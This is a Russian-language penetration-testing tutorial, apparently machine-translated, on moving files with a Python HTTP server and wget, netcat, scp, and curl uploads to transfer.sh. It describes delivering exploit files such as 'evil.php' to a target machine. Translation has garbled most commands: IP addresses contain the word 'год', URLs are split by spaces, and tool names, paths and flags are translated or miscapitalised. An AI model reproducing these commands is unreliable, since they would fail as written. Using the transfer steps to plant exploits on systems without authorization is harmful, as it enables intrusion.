Перенос эксплойтов, скриптов Python и загрузочных модулей часто требуется во время тестирования на проникновение. Поскольку наиболее часто используемым инструментом является терминал, важно понимать основы передачи файлов.
Тестер проникновения должен быть хорошо оснащен различными уловками для передачи файлов с удаленного сервера, а также из одного каталога в другой. В этом руководстве мы обсудим различные способы передачи файлов с помощью командной строки.
1. Сервер Python
Python - это базовый пакет, который предустановлен почти во всех системах на основе Debian. Чтобы передать файл с одной машины на другую, сделайте следующее;
Python2:
Перейдите в каталог, в котором существует ваш файл, который вы хотите передать. Запустите простой сервер Python. Введите следующую команду;
$ python -m SimpleHTTPServer 8080
Теперь перейдите к машине, на которую вы хотите передать файл. Используйте следующую команду, чтобы загрузить файл;
$ wget http: // 192.168.43 год.177: 8080 / файл
Не забудьте заменить IP, номер порта и имя файла.
Python3:
Все, что написано на python2, почти всегда ломается в python3. Итак, мы также рассмотрим, как передать файл с помощью python3.
В случае python3 введите следующую команду, чтобы запустить простой сервер python.
$ python3 -m http.сервер 8080
Чтобы загрузить файл в целевой объект, введите следующую команду;
$ wget http: // 192.168.43 год.177: 8080 / эксплойт.php
2. Netcat
Netcat - мощная утилита для передачи файлов с любого удаленного компьютера на локальный. Не всегда может быть установлен. Вы можете проверить, существует он или нет, введя;
$ which netcat
Как вариант, введя;$ which nc
Создайте сервер netcat с помощью следующей команды:
$ nc -nlvp 8080 < evil.php
Теперь перейдите на целевую машину и введите следующее, чтобы загрузить файл;
$ NC -NV 192.168.43 год.177 8080> зло.php
Заменять NC
с участием netcat
в приведенных выше командах, если nc не работает или установлен неправильно.
3. SCP
Secure Copy Protocol - мощный инструмент для передачи файлов. Это особенно удобно, когда вы хотите перенести каталоги. Он также в основном используется для передачи файлов по ssh.
Для передачи файла через ssh введите следующую команду на отправляющем устройстве;
$ scp -i новый.pem тест.py ubuntu @ 18.220.68.229: / дома / убунту
Где -i представляет собой открытый ключ для входа в систему ssh, тест.py - это файл, который нужно передать, а / home / ubuntu - это целевой каталог, в котором мы хотим сохранить файл.
Чтобы загрузить файл с удаленного компьютера, введите следующую команду;
$ scp root @ 192.168.43 год.177: / удаленный_каталог / файл / локальный / каталог
4. Перевод.ш
Вы можете использовать этот сторонний инструмент для передачи файлов. Это может быть полезно, когда у вас нет машины с общедоступным IP-адресом, и вам все равно нужно передавать файлы. Следующая команда загружает файл в перенос.sh серверы;
$ curl --upload-файл ./файл.txt https: // передача.sh / файл.текст
Чтобы скачать файл, введите следующую команду;
$ curl https: // перевод.sh // файл.txt -o файл.текст
Перевод.sh все еще находится в стадии разработки и может работать не всегда.
Заключение
Инструменты командной строки дают нам возможность передавать файлы различными способами. Они могут показаться немного сложными, но практическое освоение их дает возможность легко управлять файлами, особенно когда опция графического интерфейса недоступна.